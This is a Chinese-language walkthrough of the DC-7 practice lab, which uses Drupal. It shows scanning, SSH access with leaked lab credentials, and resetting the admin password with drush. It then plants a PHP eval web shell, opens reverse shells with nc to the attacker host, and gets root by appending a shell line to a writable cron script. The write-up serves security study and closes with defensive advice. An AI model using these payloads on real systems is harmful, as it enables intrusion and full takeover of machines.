Vulhub 靶场 DC-7解析
字数 1065 2025-08-18 11:35:46
DC-7 靶场渗透测试详细解析
环境准备
- 攻击机:Kali Linux (IP: 192.168.200.14)
- 靶机:DC-7 (初始IP未知)
- 网络配置:攻击机和靶机需处于同一网络下
信息收集阶段
1. 发现靶机IP
使用以下方法探测网段内存活主机:
# 方法1: arp扫描
arp-scan -l
# 方法2: nmap ping扫描
nmap -T4 -sP 192.168.200.0/24 -oN nmap200.sP
# 方法3: netdiscover
netdiscover -i eth0 -r 192.168.200.0/24
2. 端口扫描
nmap -p 1-65535 192.168.200.10
发现开放端口:
- 80 (HTTP)
- 22 (SSH)
3. 网站指纹识别
whatweb -v 192.168.200.10
确认网站使用Drupal CMS
初始访问获取
1. 社会工程学利用
通过网站提示信息"DC-7引入了一些'新'概念...",结合搜索发现GitHub账户:
- 获取数据库凭据:
- 用户名:dc7user
- 密码:MdR3xOgB7#dW
- 数据库名:Staff
2. SSH登录
ssh dc7user@192.168.200.10
3. 内部信息收集
在dc7user家目录发现:
- backups文件夹(含.gpg加密文件)
- mbox文件(包含脚本路径信息)
关键脚本位置:
/opt/scripts/backups.sh
脚本内容显示:
- 数据库备份路径:/home/dc7user/backups/website.sql
- 网站数据备份路径:/home/dc7user/backups/website.tar.gz
- Drupal密码重置命令:
drush user-password admin --password="new_pass"
权限提升路径
1. 重置Drupal管理员密码
cd /var/www/html/
drush user-password admin --password="123456"
2. 登录Drupal后台
访问:http://192.168.200.10/user/login
使用凭据:admin/123456
3. 植入PHP代码
由于Drupal 8默认不支持PHP,需先安装PHP模块:
- 下载模块:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
- 安装并激活PHP模块
- 在Basic page中添加PHP代码:
<?php @eval($_POST[123]); ?>
### 4. 获取Webshell
使用中国蚁剑连接网站,获取www-data权限
### 5. 反弹Shell
在Kali监听:
```bash
nc -lvvp 6666
在靶机执行:
nc -e /bin/bash 192.168.200.14 6666
升级交互式Shell:
python -c 'import pty;pty.spawn("/bin/bash")'
特权提升
1. 利用定时任务
发现/opt/scripts/backups.sh:
- 属组:www-data
- 定时执行
2. 植入反弹Shell代码
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.200.14 8899 >/tmp/f" >> backups.sh
3. 监听新端口
在Kali执行:
nc -lvvp 8899
等待计划任务执行后获取root shell
关键点总结
- 信息收集:通过社会工程学获取初始凭据比暴力破解更有效
- 权限提升路径:
- 利用已知凭据获取SSH访问
- 通过脚本分析发现密码重置方法
- 利用Drupal后台功能植入Webshell
- 利用可写定时任务脚本实现特权提升
- 防御建议:
- 定期更换敏感凭据
- 限制脚本文件的写入权限
- 监控计划任务变更
- 禁用不必要的CMS功能模块
此靶场展示了从信息收集到权限提升的完整渗透测试流程,强调了社会工程学和非传统攻击路径的重要性。